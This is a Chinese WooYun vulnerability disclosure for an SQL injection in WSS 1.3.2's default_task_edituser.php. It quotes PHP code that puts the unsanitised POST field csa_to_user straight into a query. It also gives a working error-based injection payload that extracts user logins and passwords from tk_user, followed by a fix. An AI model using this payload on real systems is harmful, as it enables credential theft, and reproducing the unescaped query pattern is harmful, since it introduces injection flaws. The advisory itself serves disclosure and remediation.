当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-084132

漏洞标题：WSS最新版某处SQL注入直接获取数据

相关厂商：WSS Lab

漏洞作者： xfkxfk

提交时间：2014-11-24 11:14

修复时间：2014-12-31 11:16

公开时间：2014-12-31 11:16

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-11-24： 细节已通知厂商并且等待厂商处理中
2014-11-29： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2015-01-23： 细节向核心白帽子及相关领域专家公开
2015-02-02： 细节向普通白帽子公开
2015-02-12： 细节向实习白帽子公开
2014-12-31： 细节向公众公开

简要描述：

WSS最新版某处SQL注入直接获取数据

详细说明：

WSS最新版1.3.2
在任务执行人修改处存在SQL注入
default_task_edituser.php文件：

<?php require_once('config/tank_config.php'); ?>
<?php require_once('session.php'); ?>
<?php
$restrictGoTo = "user_error3.php";
if ($_SESSION['MM_rank'] < "2") {   
  header("Location: ". $restrictGoTo); 
  exit;
}
 
$taskid = $_GET['taskid'];
$nowuser = $_SESSION['MM_uid'];
$to_user = "-1";
if (isset($_POST['csa_to_user'])) {
  $to_user= $_POST['csa_to_user'];
}
mysql_select_db($database_tankdb, $tankdb);
$query_touser = "SELECT * FROM tk_user WHERE uid = '$to_user'";
$touser = mysql_query($query_touser, $tankdb) or die(mysql_error());
$row_touser = mysql_fetch_assoc($touser);
$totalRows_touser = mysql_num_rows($touser);


这里的$to_user没有使用全局的GetSQLValueString函数处理，导致SQL注入
这里使用普通用户即可测试

漏洞证明：

http://localhost/WSS1.3.2_cn/wss/default_task_edituser.php


1.png


http://localhost/WSS1.3.2_cn/wss/default_task_edituser.php
csa_to_user=123' union select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(0x23,tk_user_login,0x23,tk_user_pass) from tk_user limit 0,1))a from information_schema.tables group by a)b%23


2.png

修复方案：

GetSQLValueString函数处理$to_user变量即可

版权声明：转载请注明来源 xfkxfk@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-12-31 11:16

厂商回复：

最新状态：

暂无